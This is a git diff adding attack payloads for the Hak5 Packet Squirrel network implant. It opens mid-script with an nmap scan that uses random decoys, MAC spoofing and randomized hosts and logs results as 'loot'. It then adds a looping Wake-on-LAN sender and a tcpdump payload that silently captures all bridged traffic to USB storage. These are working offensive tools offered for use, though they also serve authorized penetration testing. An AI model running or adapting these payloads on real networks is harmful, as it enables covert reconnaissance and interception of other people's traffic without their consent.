"Could not accquire any IP addresses to scan." >> $lootPath/log.txt + sync + LED OFF + exit 1 + fi + fi + + # Add lo as some setups the loopback maybe the interface to send out traffic + # If user supplies default interface tie in their selection and disregard the + # auto locate data. + if [ ! "$defaultInterface" ]; then + interfaces+=$'\nlo' + else + interfaces=$defaultInterface + fi + + # log subnets and ip addresses we found + echo "Subnets to scan $targets" >> $lootPath/log.txt + echo "IPs to scan $ipaddresses" >> $lootPath/log.txt + + # Document the fact we will be scanning ipv6 + if [ "$ipv6" ]; then + echo "We will be scanning ipv6 addresses" >> $lootPath/log.txt + fi + + # Now lets find the interface that will allow outbound traffic on the LAN. + while IFS= read -r interface; do + + # We will use the ip addresses we found to see if this interface can ping it. + while IFS= read -r ip; do + + # If we can send ping packets then the interface is likley able to work with nmap + # Determin if we should ping in ipv4 or ipv6 + if [ ! "$ipv6" ]; then + + if [[ ! $(ping -I $interface $ip -w 3 | grep '0 packets received') ]]; then + + # Make sure wee don't end up with a blank first line. + if [ "$goodInterface" ]; then + + goodInterfaces+=$'\n'$interface + else + goodInterfaces=$interface + fi + fi + + else + + if [[ ! $(ping -6 ff02::1 -w 3 | grep '0 packets received') ]]; then + + # Make sure wee don't end up with a blank first line. + if [ "$goodInterface" ]; then + + goodInterfaces+=$'\n'$interface + else + goodInterfaces=$interface + fi + fi + + fi + + done <<< "$ipaddresses" # end loop to find interfaces we can use + + done <<< "$interfaces" # end loop to scan interfaces + + # Log interfaces we can use + echo "Interfaces allowing outbound traffic: $goodInterfaces" >> $lootPath/log.txt + + # Make sure we have interfaces that will allow outbound traffic. + if [ "$goodInterfaces" ]; then + while IFS= read -r goodInterface; do + + # Finally! Lets run NMap! + # Use ipv4 + if [ ! "$ipv6" ]; then + nmap -Pn -e $goodInterface -sS -F -sV -oA $lootPath/$lootFileNameScheme -D RND:$rndDecoyNumber --randomize-hosts --spoof-mac $spoofDevType $targets >> $lootPath/log.txt + else + # Use ipv6 + nmap -Pn -e $goodInterface -sT -F -R -oA $lootPath/$lootFileNameScheme --randomize-hosts --spoof-mac $spoofDevType -6 $ipv6 >> $lootPath/log.txt + fi + + done <<< "$goodInterfaces" + + else + echo "Could not find any interfaces that will allow outbound traffic." >> $lootPath/log.txt + exit 1 + fi + + + # Done scanning; clean up. + finish + +} # end run() function + +USB_WAIT + +# Show attack LED +LED ATTACK + +# ATTACK!!!! +run + diff --git a/payloads/remote-access/wake_on_lan/README.md b/payloads/remote-access/wake_on_lan/README.md new file mode 100644 index 0000000..2125eae --- /dev/null +++ b/payloads/remote-access/wake_on_lan/README.md @@ -0,0 +1,7 @@ +# Wake-on-LAN + +This payload generates a WoL (Wake-on-LAN) magic packet for the devices listed in the +payload configuration. + +Make sure to copy BOTH `payload` and `wol_python.py` to the SAME payload directory on +the Packet Squirrel! diff --git a/payloads/remote-access/wake_on_lan/payload b/payloads/remote-access/wake_on_lan/payload new file mode 100755 index 0000000..c91aaf0 --- /dev/null +++ b/payloads/remote-access/wake_on_lan/payload @@ -0,0 +1,37 @@ +#!/bin/bash + +# Title: Wake on Lan +# Description: Wake On Lan with Python +# Author: Hak5 + +# Configuration + +# MAC addresses, separated by spaces +WOL_TARGETS="11:22:33:44:55:66 AA:BB:CC:DD:EE:FF" + +# How often do we wake up systems, in seconds? +WOL_INTERVAL=30 + + + + +# NAT mode +NETMODE NAT + +# Set the LED +LED G SINGLE + +while true; do + # Toggle the LED, send the WoL + LED W SOLID + python /root/payloads/$(SWITCH)/python_wol.py ${WOL_TARGETS} + + # Wait one second for the LED to be visible + sleep 1 + + # Reset the LED + LED G SINGLE + + # Wait the wakeup interval + sleep ${WOL_INTERVAL} +done diff --git a/payloads/remote-access/wake_on_lan/python_wol.py b/payloads/remote-access/wake_on_lan/python_wol.py new file mode 100755 index 0000000..a00fe4d --- /dev/null +++ b/payloads/remote-access/wake_on_lan/python_wol.py @@ -0,0 +1,21 @@ +#!/usr/bin/python + +import sys +import socket + +# Simplified function to send a wake-on-lan packet +def send_wol(destination): + sync = "FF" * 6 + macs = destination * 16 + payload = bytes.fromhex(sync + macs) + + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) + sock.sendto(payload, ("255.255.255.255", 9)) + +# Send a WoL packet for each MAC address we +# were called with +for mac in sys.argv[1:]: + fin_mac = mac.replace(":", "") + send_wol(fin_mac) + diff --git a/payloads/sniffing/tcpdump/payload b/payloads/sniffing/tcpdump/payload new file mode 100755 index 0000000..8992553 --- /dev/null +++ b/payloads/sniffing/tcpdump/payload @@ -0,0 +1,72 @@ +#!/bin/bash +# +# Title: TCPDump +# Description: Dumps networking-data to USB storage. Completes on button-press or storage full. +# Author: Hak5 +# Version: 1.0 +# Category: sniffing +# Target: Any +# Net Mode: TRANSPARENT + +# LEDs +# SUCCESS: Dump complete +# FAIL: No USB storage found + +function monitor_space() { + while true + do + [[ $(USB_FREE) -lt 10000 ]] && { + kill $1 + LED G SUCCESS + sync + break + } + sleep 5 + done +} + +function finish() { + # Kill TCPDump and sync filesystem + kill $1 + wait $1 + sync + + # Indicate successful shutdown + LED R SUCCESS + sleep 1 + + # Halt the system + LED OFF + halt +} + +function run() { + # Create loot directory + mkdir -p /usb/loot/tcpdump &> /dev/null + + # Set networking to TRANSPARENT mode and wait five seconds + NETMODE TRANSPARENT + sleep 5 + + LED ATTACK + + # Start tcpdump on the bridge interface + tcpdump -i br-lan -s 0 -w /usb/loot/tcpdump/dump_$(date +%Y-%m-%d-%H%M%S).pcap &>/dev/null & + tpid=$! + + # Wait for button to be pressed (disable button LED) + NO_LED=true BUTTON + finish $tpid +} + + +# This payload will only run if we have USB storage + +# Wait for the USB drive +USB_WAIT + +LED ATTACK +run & +monitor_space $! & + +wait